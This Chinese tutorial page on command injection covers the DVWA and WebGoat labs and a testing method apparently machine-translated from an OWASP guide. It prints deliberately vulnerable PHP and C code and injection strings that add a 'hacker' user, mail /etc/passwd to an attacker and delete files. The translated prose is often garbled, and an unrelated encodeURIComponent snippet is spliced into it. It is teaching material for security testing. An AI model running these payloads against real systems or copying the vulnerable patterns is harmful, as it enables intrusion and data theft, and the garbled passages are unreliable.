首页 > 代码库 > Command Injection(命令行注入)
Command Injection(命令行注入)
实战部分:
说明:这里我用的是OWASP的一个平台和DVWA
下面简单说一下安装方法(windows下):
先下载webscarab-current.zip(这个自带tomcat,还有一个下载方式是war文件,需要自己安装tomcat,建议使用第一个),地址为http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project,解压到一个文件夹,运行webgoat.bat即可启动其自带的tomcat,通过访问http://localhost/WebGoat/attack,输入用户名guest,密码guest即可进入
ncodeURIComponent 方法
将文本字符串编码为一个统一资源标识符 (URI) 的一个有效组件。
encodeURIComponent(encodedURIString)
必选的 encodedURIString 参数代表一个已编码的 URI 组件。
说明
encodeURIComponent 方法返回一个已编码的 URI。如果您将编码结果传递给 decodeURIComponent,那么将返回初始的字符串。因为 encodeURIComponent 方法对所有的字符编码,请注意,如果该字符串代表一个路径,例如 /folder1/folder2/default.html,其中的斜杠也将被编码。这样一来,当该编码结果被作为请求发送到 web 服务器时将是无效的。如果字符串中包含不止一个 URI 组件,请使用 encodeURI 方法进行编码。
呵呵!此漏洞危害很大,不用多说。
DVWA部分
源码
<?php
if( isset( $_POST[ ‘submit‘ ] ) ) {
$target = $_REQUEST[ ‘ip‘ ];
// Determine OS and execute the ping command.
if (stristr(php_uname(‘s‘), ‘Windows NT‘)) {
$cmd = shell_exec( ‘ping ‘ . $target );
$html .= ‘<pre>‘.$cmd.‘</pre>‘;
} else {
$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
$html .= ‘<pre>‘.$cmd.‘</pre>‘;
}
}
?>
以上代码我们可以看出, $target = $_REQUEST[ ‘ip‘ ];直接从文本框中输入的内容,没有任何
限制,刚刚我们在上面也看到了,在操作系统中使用“&&”连接符(在windows下一个&和两个&
都可以,在linux下一定要两个),可以执行多条命令。
---------------------------------------------------------------------------------------------------
理论部分:
如何测试命令注入
总结
命令注入漏洞是特别危险的,因为它们允许未经授权的执行操作系统命令, 它们的存在,因为应用程序无法正确地验证和消毒,使用时调用shell的功能,如的参数。 攻击者与控制这些参数可以欺骗应用程序执行任何系统命令自己的选择。
例如,UNIX应用程序列出了使用的文件夹的内容。 它需要的字符串FOLDER_NAME,从用户,没有任何验证,连接到“ls”的建立实际的命令。 应用程序,然后通过命令(“LS FOLDER_NAME “)的系统()函数,并获取结果。 一个命令注入漏洞,允许攻击者注入额外的命 令在输入字符串FOLDER_NAME的, 其结果是被欺骗应用程序执行攻击者的额外的命 令。
为了正确测试命令注入漏洞,应遵循以下步骤:
? 第1步: 了解攻击场景
? 第2步: 分析原因及对策
? 第3步: 开始试验和探索
? 第4步: 微调测试案例
第1步: 了解攻击场景
命令注入漏洞测试的第一步是要了解他们的攻击的情况下, 有两种常见的类型,命令注入漏洞:
? 直接命令注入。
? 间接命令注入。
方案1: 直接命令注入
最基本的形式包括直接提供的额外的易受攻击的应用程序的命令。命令注入 攻击者首先发现应用程序调用系统命令作为参数的命令,直接将用户提供的数据, 那么攻击者提供的恶意命令的预期参数。 应用程序执行原来的命令,然后恶意。
详细步骤如下:
1. 攻击者发现,该应用程序使用客户端输入来执行命令。
2. 攻击者提供的恶意客户端输入命令的一部分。
3. 攻击者观察应用程序执行其他命令。
方案2: 间接命令注入
这种情况下,命令注入,直接地或间接地提供额外的易受攻击的应用程序可以通过文件或环境变量的命令。 首先,攻击者减去的应用程序调用系统命令,从外部数据源,如文件或环境变量 然后,攻击者修改的内容的外部源中加入恶意的命令。 然后,攻击者等待或强制执行恶意命令,与原来的应用程序。
详细步骤如下:
1. 攻击者发现,该应用程序使用的数据存储在外部执行命令。
2. 攻击者编辑外部来源包括恶意命令。
3. 攻击者等待,直到应用程序执行原来的命令(或攻击者试图使该应用程序的状态将在其中提供的命令执行)。
4. 攻击者验证的应用程序的执行注入的命令。
第2步: 分析原因及对策
在此步骤中,你就会明白命令注入漏洞以及共同防御的原因。 这将帮助您寻找代码中的错误,并认识到安全的编码实践。
命令注入的原因
命令注入漏洞是一个单一的原因:可怜的输入验证。 建立任何应用程序,命令字符串中使用未消毒的数据容易受到此错误。下面的代码片段演示了命令注入漏洞。这在Windows下运行使用PHP代码的输入提供一个文本框的形式和调用EXEC 功能,键入的文件:
<?php
$command = ‘type ‘ . $_POST[‘username‘];
exec($command, $res);
for ($i = 0; $i < sizeof($res); $i++)
echo $res[$i].‘<br>‘;
?>
用户可以提供以下字符串列表中的活动连接在服务器:
file.txt|netstat -ano
下面的例子在C + +(由OWASP [I])运行在一个符合POSIX标准的类Unix环境,如 使用提供的命令行输入到系统并运行的cat命令:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );
system(command);
return (0);
}
用户可以提供以下字符串的服务器的当前目录的内容列出目录的内容:
file.txt;ls
上面的代码片段中使用两种不同的功能,交互的shell 执行exec()和()。 下面的列表汇总了常用的功能,在命令注入攻击:
Function Language
system, execlp,execvp, ShellExecute, _wsystem C/C++
Runtime.exec Java
exec, eval PHP
exec, open, eval, Perl
exec, eval, execfile, input Python
Shell, ShellExecuteForExplore, ShellExecute VB
命令注入对策
应用程序防御命令注入漏洞,通过做正确的输入验证和消毒。 开发人员必须看所有情况下,应用程序调用一个壳状系统功能,如执行或系统,避免执行,除非参数被正确地验证和消毒。 有两种可能的方法来验证这些参数:使用黑色列表或使用白名单。
黑名单检查,然后才允许执行恶意模式。 命令注入的情况下,一个黑色的命令列表可能包含分隔符,如分号(;)垂直划线(|),双破折号(| |),双放大器(&&)危险的命令,如RM,CP,猫,LS,在净参数,netstat,DEL,复制等, 但是,一个主要的缺点阻碍了这种对策是有效的,除非黑名单绝对是所有涉及危险的可能性,攻击者可以找到以外的黑名单的变化,来进行攻击。
白名单与安全执行模式匹配, 如果有问题的数据不匹配任何安全模式,这是不允许的。 这危险的构造,因为任何新的(恶意)结构的新变化,不符合安全的解决了这个问题一种是系统自动封锁。 一个共同的方式来实现白名单是相匹配的输入与安全的命令格式的正则表达式表示。 然而,复杂的正则表达式可以写和解释。 开发人员必须确保他们了解如何编写和解释正则表达式之前实施这一防御。
第3步: 开始试验和探索
在此步骤中,您将开始测试您的应用程序的基本命令注入字符串,并观察应用程序如何反应。
一个简单的测试字符串的开始
首先,你需要找到所有的地方,你的应用程序调用系统命令来执行和操作, 然后在这些地方,开始探索如何命令注入所需的应用程序处理的基本特征。 以下两个字符串是很好的尝试因为它们包含命令和命令注入字符:
abc;dir C:|xyz&netstat (Windows)
abc;ls|cp&rm (UNIX)
如果应用程序没有给出一个错误消息,因为特殊字符,然后有机会的话,它受到从命令注入漏洞。
建立一个有效的命令
重要的是,你是能够理解的。 例如,未找到文件的错误,而不是一个无效的数据格式错误是一个很好的提示,应用程序需要处理的特殊字符作为文件的一部分。 例如,你可能会得到一个找不到文件的错误时,使用下列字符串:
file.txt|dir c:
这是因为应用程序调用exec()的以下字符串:
cmd /c type "c:\public_html\user_files\file.txt|dir c:"
对于输入字符串执行附加额外的命令之前,你需要关闭的双引号的目录列表命令:
file.txt"|dir c:
需要特别注意引号和双引号,因为省略了,他们可以很容易导致注入字符串作为数据处理。
有时应用程序不反映注入的在屏幕上的命令的输出。为了解决这个问题,使用命令不创建屏幕输出,但执行一个可见的行动:
file.txt;mail </etc/passwd
Emails attacker the server’s passwords.
file.txt|net user /add "hacker"
Adds hacker to the Windows user database.
file.txt;ping%20attacker_site Pings the attacker site.
第4步: 微调测试案例数据
彻底地测试您的应用程序对命令注入漏洞,你必须覆盖所有可能的入口点和命令注入是可能的情况下的。
尝试不同的切入点和场景
继续探索不同的应用程序的入口点。 测试的情况下,数据的格式会有所不同的入口点。 例如,如果你正在测试通过URL字符串file.txt的“ DIR C:可能看起来像一个2以下(取决于上的URL编码):
? file.txt"|dir%20c:
? file.txt"|dir+c:
?
? 重要的是,你考虑不同的编码方式和数据格式额外的命令注入的入口点,如:输入字段,URL参数,POST数据,Web服务方法,用户界面元素,环境变量,数据库的内容,注册表内容,文件的内容,第三党的API,和网络数据包。
? 当间接命令注入进行测试时,重要的是你控制的源传递到目标函数的参数。 例如,如果你被攻击一个使用应用程序 ,你必须控制传递给这个函数的文件。 让我们说的应用程序使用而execfile /私营/ commands.txt的,在这里你不需要通过任何恶意的参数,你必须修改命令文件注入恶意指令,并等待(或强迫)注入要执行的命令。这是建议,进行测试时,直接喷射,您使用的环境监测工具。 您可以使用Sysinternals Process Explorer的注册表,文件系统,现在结合,找出您的应用程序使用的外部资源时调用shell或系统环境变量监控的命令。
? 结论
? 命令注入漏洞存在,因为穷人的输入验证和消毒交互的功能与操作系统的shell所使用的参数。 任何攻击者控制这些参数可以强制应用程序执行不必要的系统命令。 命令注入漏洞进行对比测试,包括操纵原来的命令参数,命令注入的字符串,取决于要执行的操作的入口点下测试不同的组合。
Command Injection(命令行注入)